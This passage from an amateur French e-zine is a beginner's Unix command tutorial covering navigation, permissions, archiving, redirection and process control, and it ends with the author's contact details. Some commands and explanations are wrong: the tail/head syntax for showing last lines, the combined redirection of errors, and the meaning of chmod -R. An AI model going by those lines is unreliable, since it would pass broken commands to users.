ls -d : répertoire
Exemples :
ls : pour avoir une liste simple des fichiers du répertoire courant.
ls -al : pour avoir une liste avec toutes les informations sur les fichiers (le nom du propriétaire, le nom du groupe, les droits d'accès sur le fichier, le nombre d'octets, la date de création .etc.)
ls -aF : les fichiers exécutables sont marqués acec une astérique (*), les répertoires avec un slash (/).
Comment se déplacer dans l'arborescence ?
cd nom_du_sous_répertoire : pour aller au sous répertoire spécifié.
cd /usr/local/DFREML/DF93/MUW : pour aller au sous répertoire spécifié.
cd .. : pour remonter d'un niveau.
cd ../.. : pour remonter de deux niveaux.
cd ../PREP : pour remonter d'un niveau et redescendre sous PREP.
cd : pour revenir au home-directory (variable $HOME, c'est à dire /home/mcbatut pour l'utilisateur mcbatut).
cd ~ : pour revenir au répertoire d'accueil c'est à dire le home-directory.
Remarque : L'arborescence ressemble à celle que vous avez l'habitude d'utiliser sous MS-DOS, attention au sens des délimiteurs (sous MS-DOS, c'est l'anti-slash (), sous Unix, c'est le slash (/)).

Sur quel répertoire est-on positionné ?
pwd : Print Working Directory

Comment changer les droits d'accès d'un fichier ou d'un répertoire ?
Syntaxe : chmod qui opération permission nom_du_fichier

qui :
u : pour modifier les permissions de l'utilisateur (user)
g : pour modifier les permissions du groupe (groupe)
o : pour modifier les permissions des autres (other)
a : pour modifier les permissions de tous (all)
opération :
+ : pour ajouter une permission
- : pour enlever une permission
permission :
r : permission de lire (read)
w : permission d'écrire (write)
x : permission d'exécuter (execute)
Exemples :

chmod a+r nom_du_fichier : donne les droits en lecture (read) à tous les utilisateurs (all) pour le fichier indiqué.
chmod g-w nom_fichier : pour ne pas autoriser les utilisateurs du groupe à écrire (write) sur le fichier indiqué.
chmod -R o-x nom_repertoire : l'option "-R" indique que le fichier indiqué est un répertoire.
Comment changer de propriétaire ?
Syntaxe : chown [-R] nom_user nom_du_fichier
chown mcbatut mon_fichier :
chown -R mcbatut essai :
Comment rechercher un fichier dans l'arborescence ?
find . -name kinou -print : permet de rechercher à partir du répertoire courant les fichiers de nom kinou et de les afficher.
./kinou
./canards/kinou
find . -name kinou -exec ls -il : permet de rechercher à partir du répertoire courant les fichiers de nom kinou et de les afficher sous le format long (l).
2064 -rwx-r-x-r-x  1 mcbatut etude  10716 Fv 21 15:43 ./canards/kinou
find . -name kinou -type d -print : permet de rechercher les fichiers de nom kinou et mais seulement ceux qui sont de type directory (répertoire).
Comment ne visualiser que les premières lignes d'un fichier ?
head nom_du fichier : visualise les 10 premières lignes du fichier nom_du_fichier.
head -20 nom_du fichier : visualise les 20 premières lignes du fichier nom_du_fichier.
Comment ne visualiser que les dernières lignes d'un fichier ?
tail -l nom_du fichier : visualise les 10 dernières lignes du fichier nom_du_fichier.
head -l -n 20 nom_du fichier : visualise les 20 dernières lignes du fichier nom_du_fichier.
Comment copier tout un répertoire ?
Syntaxe : cp -r nom_du_repertoire_source nom_du_repertoire_destination

Comment déplacer tout un répertoire ?
Syntaxe : mv nom_du_repertoire_source nom_du_repertoire_destination

Comment détruire un répertoire ?
rmdir nom_du_répertoire : permet de détruire le répertoire spécifie s'il est vide.
rm -r nom_du_répertoire : permet de détruire les fichiers du répertoire et le répertoire lui-même.
rm -ir nom_du_répertoire : permet de détruire les fichiers du répertoire et le répertoire lui-même. en demandant confirmation (option -i).
Comment archiver tout un répertoire ?
tar -cvf palmi.tar palmi :
c : création (create)
v : pour voir ce qu'il se passe (verbose)
f : fichier (file) dans lequel on stocke l'archivage (palmi.tar). Il est recommandé de mettre le suffixe tar pour savoir qu'il faut le désarchiver avec la commande tar.
Comment désarchiver tout un répertoire ?
tar -xvf palmi.tar :
x : extraire (extract)
v : pour voir ce qu'il se passe (verbose)
f : fichier (file) qu'on veut désarchiver.
Comment compresser un fichier ?
compress palmi.tar : compresse le fichier palmi.tar et le stocke dans le fichier palmi.tar.Z (existe sur tous les unix).
gzip palmi.tar : compresse le fichier palmi.tar et le stocke dans le fichier palmi.tar.gz (plus efficace que le compress).
Comment décompresser un fichier ?
Attention dépend de l'utilitaire avec lequel le fichier a été compressé.

uncompress palmi.tar.Z : décompresse le fichier palmi.tar.Z si le fichier a été compressé avec compress (suffixe .Z).
gzip -d palmi.tar.gz ou gunzip palmi.tar.gz: décompresse le fichier palmi.tar.gz si le fichier a été compressé avec gzip (suffixe .gz).
Les commandes d'archivage ("tar"), de compression ("compress" ou "gzip") et de décompression ("uncompress ou "gzip -d") sont recommandées si vous avez des fichiers volumineux à transférer ("ftp").

Y a-t-il de la place sur le ou les disques ?
Commande df

Sur "dga2" et "dga3", tous les utilisateurs de la SAGA sont sous "/utou".
Sur les autres serveurs, les utilisateurs sont sous "/home".
Pour utiliser au mieux votre espace disque, n'oubliez pas de faire le ménage régulièrement, et utilisez les outils de compression et de décompression vus ci-dessus.

Comment changer de groupe ?
chgrp nom_groupe nom_fichier

Comment changer de propriétaire et de groupe ?
chown nom_proprietaire.nom_groupe nom_fichier

Les redirections
prog <fichier_entree : permet de lancer le programme exécutable "prog" et de rediriger l'entreé standard sur un fichier; donc de lire les donneés dans un fichier.
prog >fichier_sortie : permet de lancer le programme exécutable "prog" et de rediriger la sortie standard sur un fichier; donc d'écrire le résultat dans le fichier spécifié. Si ce dernier existe, il est écrasé.
prog >>fichier_sortie : même chose que précédemment mais dans ce cas si le fichier existe, il n'est pas écrasé. Les écritures se font en fin de fichier.
prog 2>fichier_erreurs : permet de rediriger les erreurs dans le fichiers "fichier_erreurs".
prog <fichier_entree >fichier_sortie >fichier_erreurs : permet de combiner les 3 redirections.
Généralités sur les processus
Unix créé un processus pour chaque tâche à réaliser. Un processus est un programme qui peut s'exécuter en mémoire de manière indépendante. Tout processus est issu d'un processus père. L'orsqu'un processus fils se termine, il renvoie au père un code de sortie.

Comment avoir la liste des processus ?
Syntaxe : ps [-aef]
a donne des informations sur tous les processus actifs, sauf ceux qui n'ont pas de sortie écran.
e donne des informations sur tous les processus actifs.
f affichage long.
Exemples :
ps -aef : permet d'avoir la liste de tous les processus.
ps -aef |more : permet d'avoir la liste de tous les processus page par page.
ps -u mcbatut : permet d'avoir la liste des processus de l'utilisateur "mcbatut".
ps -aef |grep mcbatut : permet d'avoir la liste des processus de l'utilisateur "mcbatut".
ps -aef |grep ora : permet d'avoir la liste des processus oracle.
Comment tuer un processus ?
kill -9 numero_du_processus

Vous ne pouvez tuer que les processus qui vous appartiennent.
Attention, quand on tue un processus, tous les processus fils de ce processus sont tués. Exemple : si vous êtes en environnement X et que vous tuez la fenêtre de login, toutes les autres vont se fermer, c'est comme si vous vous déconnectiez (sauf qu'il risque d'y avoir des processus en suspens, processus marqués "defunct" quand on fait un "ps").
Comment lancer un processus en arrière plan ?
Il faut ajouter le caractère & à la fin de la commande.

xterm & : pour ouvrir une nouvelle fenêtre.
xclock & : pour lancer l'horloge.
xcalc & : pour lancer la calculette.
nohup prog & : permet de lancer un programme en arrière plan et de ne pas le tuer lorsque l'utilisateur se déconnecte. Ajouter dans ce cas là les redirections : nohup prog >fichier_sortie 2>fichier_erreurs &
Comment lancer un travail en différé ?
Commande at

at -f fichier_reference -m 1830 : permet de lancer les commandes contenues dans le fichier "fichier_reference" à partir de 18H30 et d'indiquer par courrier "-m" (pour mail) la fin de l'exécution différée des commandes.
at -l : permet de lister les demandes d'exécution en différé.
at -r mcbatut.710779460.b : permet d'annuler la demande de d'exécution en différée référencée par le numéro indiqué.
Comment lancer un travail en batch ?
Commande batch

batch -f fichier_reference : permet de lancer les commandes contenues dans le fichier "fichier_reference".
at -l : permet de lister les demandes de batch.
at -r mcbatut.710779460.b : permet d'annuler la demande de batch référencée par le numéro indiqué.
Comment lancer un batch sur dga2 ?
Sur "dga2", utiliser le gestionnaire de travaux bath "xloadl"

Comment changer la priorité des processus ?
nice -n 13 prog : permet de lancer le programme exécutable "prog" avec la priorité 13.
renice -n 19 numero_du_process : permet de modifier la priorité du processus numéro "numero_du_process".
Les numéros de processus vont de 1 à 19 pour les utilisateurs (19 étant la priorité la plus faible).
Seul le super-utilisateur (root) peut utiliser une priorité négative et donc mettre les priorités les plus fortes.
L'aide
Pour avoir l'aide en ligne : man nom_de_la_commande exemple : man ls
Pour avoir l'aide sous l'environnement X_Window : "Infoexplorer" (présent sur "bazacle" et "dga2"). Pour le lancer taper : info
Quitter
logout
exit
Ctrl-
 

Oufff! J'en ai mis du temps à le finir ce bon e-zine. en espérant qu'il vous a plus je vous donne aussi mes coordonnées:
clad_strife@hotmail.com
UIN: 22350168